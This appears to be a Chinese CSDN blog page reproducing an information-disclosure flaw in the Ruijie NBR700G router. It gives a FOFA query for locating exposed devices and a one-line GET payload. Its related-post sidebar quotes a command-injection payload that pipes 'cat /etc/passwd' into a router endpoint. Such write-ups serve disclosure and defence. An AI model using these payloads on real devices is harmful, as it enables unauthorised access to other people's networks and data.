【漏洞复现】锐捷网络NBR700G 信息泄露

最新推荐文章于 2025-01-27 23:26:33 发布

从不学安全

最新推荐文章于 2025-01-27 23:26:33 发布

阅读量866

点赞数 2

分类专栏：漏洞复现文章标签：网络安全

本文链接：https://blog.csdn.net/qq_67810151/article/details/136586473

版权

漏洞复现专栏收录该内容

99 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了锐捷网络NBR700G路由器的信息泄露漏洞，详细阐述了漏洞概述，攻击者如何未授权获取敏感信息，并探讨了漏洞复现的步骤和影响范围。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备。

0x02 漏洞概述

锐捷网络NBR700G路由器存在信息漏洞。未授权的攻击者可以通过该漏洞获取敏感信息。

0x03 测绘语句

fofa：body="系统负荷过高，导致网络拥塞，建议降低系统负荷或重启路由器"

0x04 漏洞复现

payload：GET /webgl.data HTTP/1.1

0x05 影响范围

锐捷网络NBR700G

0x06 免责声明

了解本专栏

订阅专栏解锁全文

超级会员免费看

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

从不学安全

关注关注

2
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
打赏
打赏
打赏举报

举报

专栏目录

订阅专栏

锐捷路由器命令执行漏洞（CVE-2023-3450）

xiaokp7的博客

09-13

1195

RG-BCR860是锐捷网络推出的一款商业云路由器，它是专为酒店、餐饮、门店设计，适用带宽100Mbps,带机量可达150台，支持Sec VPM、内置安全审计模块，给商家带来更好的网络营销体验。该产品主支持全中文的WEB 界面配置，不再需要用传统的命令行进行配置，使得设备更加简单方便的进行维护和管理。RG-BCR860 2.5.13版本存在操作系统命令注入漏洞，该漏洞源于组件Network Diagnostic Page存在问题，会导致操作系统命令注入。

锐捷rce复现漏洞

计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。

11-16

1250

锐捷 rce复现，请求路径/guest_auth/guestIsUp.php //锐捷rce复现漏洞锐捷rce漏洞文件

参与评论您还未登录，请先登录后发表或查看评论

锐捷 NBR路由器远程命令执行漏洞（CNVD-2021-09650）

孤桜懶契

04-14

1万+

漏洞描述 i ⭐锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限漏洞影响 s ✅锐捷NBR路由器 EWEB网管系统空间测绘 d ⭕FOFA：title="锐捷网络-EWEB网管系统" ⭕FOFA：icon_hash="-692947551" 漏洞复现 ✅访问首页 ✅执行Payload命令 POST /guest_auth/guestIsUp.php mac=1&ip=127.0.0.1|cat /etc/passwd > test.tx

锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞(CNVD-2021-09650)——漏洞复现

大大怪将军，你来啦！

06-11

1265

锐捷网络股份有限公司是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。公开日期：2021-09-19漏洞编号：CNVD-2021-09650危害等级：高危漏洞描述：锐捷NBR路由器存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。

锐捷RG-EW1200G /api/sys/login 权限绕过漏洞复现 (CVE-2023-4415)

0xSec

05-01

1282

锐捷网络RG-EW1200G 存在权限绕过漏洞，允许任何用户无需密码即可获得设备管理员权限。登录路由器，获取敏感信息，控制内部网络，进一步利用后台网络工具ping检测执行任意指令，可能存在路由器被控风险。

锐捷网络NBR700G 信息泄露漏洞复现 [附POC]

薛定谔嘚喵博客

11-15

683

锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备,锐捷网络NBR700G路由器存在信息漏洞。

锐捷网络NBR700G 信息泄露漏洞

weixin_43567873的博客

03-13

517

锐捷网络NBR700G 信息泄露漏洞

漏洞复现-锐捷Ruijie系列

aming小老弟

03-14

1666

“系统升级有效期已到” && “URL 库文件已过期”

锐捷NBR路由器fileupload.php任意文件上传漏洞

xiaokp7的博客

09-13

1808

锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。

锐捷EG易网关与NBR路由器命令执行漏洞-2

最新发布

缘梦未来的博客

01-27

556

锐捷网络的EWEB（也称为eWeb）是设备的Web网管系统，旨在通过浏览器（如Chrome）对设备进行管理和配置。锐捷睿易该系统由Web服务器和Web客户端两部分组成，服务器集成在设备上，负责接收和处理客户端请求，并将结果返回给客户端。客户端通常是指浏览器，如Chrome、IE等。通过EWEB，管理员可以方便地访问设备的Web管理界面，进行配置和管理操作。例如，在锐捷睿易RG-EW系列路由器中，EWEB提供了直观的Web配置界面，支持快速配置、网络设置、无线设置等功能。

【漏洞复现】锐捷EG易网关cli.php后台命令执行漏洞

晚风不及你

01-09

1561

锐捷EG易网关是一款综合网关，由锐捷网络完全自主研发。它集成了先进的软硬件体系架构，配备了DPI深入分析引擎、行为分析/管理引擎，可以在保证网络出口高效转发的条件下，提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。

锐捷-SSL-VPN-越权访问漏洞

m0_57809247的博客

01-20

666

RuijieSSLVPN存在越权访问漏洞，攻击者在已知用户名的情况下，可以对账号进行修改密码和绑定手机的操作。并在未授权的情况下查看服务器资源。在未知登录用户名的情况下漏洞无法利用(根据请求包使用Burp进行用户名爆破)通过此方法知道用户名后可以通过漏洞修改账号参数。点击个人设置跳转页面即可修改账号信息。UserName参数为已知用户名。用户名正确时会返回敏感信息。

惊！锐捷网络云平台漏洞或致5万设备遭远程攻击风险！

weixin_55163056的博客

12-26

348

Claroty公司的研究人员Noam Moshe和Tomer Goldschmidt在最近的一份分析中表示：“这些漏洞不仅影响Reyee平台，还影响Reyee OS网络设备。这家对物联网（IoT）供应商进行深入研究的运营技术（OT）安全公司表示，他们不仅发现了10个漏洞，还设计了一种名为“芝麻开门”的攻击方式，该方式可以通过云端黑客入侵近距离的接入点，并未经授权地访问其网络。网络安全研究人员在锐捷网络开发的云管理平台中发现了多个安全漏洞，这些漏洞可能允许攻击者控制网络设备。

锐捷EWEB网管系统RCE漏洞

一个努力学习网安的小牛马

05-11

1700

锐捷网管系统是由北京锐捷数据时代科技有限公司开发的新一代基于云的网络管理软件，以"数据时代创新网管与信息安全"为口号，定位于终端安全、IT运营及企业服务化管理统一解决方案。使用cookie向/flow_control_pi/flwo.control.php?用post请求访问/ddi/server/login.php页面并提交admin参数可以获得管理员的cookie。在该系统的/flow_control_pi/flwo.control.php的文件中存在命令执行参数。

漏洞情报 | 锐捷RSR路由器设备存在命令执行漏洞

爱国小白帽

04-15

3429

点击上方订阅话题第一时间了解漏洞威胁 0x01 漏洞描述 2021年4月14日，360漏洞云监测到锐捷网络官方通告了锐捷网络RSR路由器系列产品的Web管理存在命令执行漏洞（CNVD-2021-16887），远程攻击者在未授权的情况下可执行CLI命令，攻击者可利用该漏洞获取服务器控制权限。 0x02 影响版本产品型号软件版本 RSR10-02E/RSR20-04E 10.4(3b35)p6 Release(224254) 及之前的版本 RSR20-14E/F 10.4(3

锐捷NBR系列路由器存在管理员密码重置漏洞

weixin_43167326的博客

06-13

791

锐捷NBR系列路由是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。某捷NBR系列多款路由器存在管理员密码重置漏洞，攻击者通过漏洞重置密码登录后台。

锐捷NBR1000G路由固件升级解决方案

在IT领域中，路由NBR升级包是针对特定路由器设备的固件更新文件，旨在提升设备性能、修复已知漏洞、增加新的功能或进行兼容性改进。以下将详细解释文件【标题】、【描述】和【标签】中涉及的知识点，以及【压缩包子...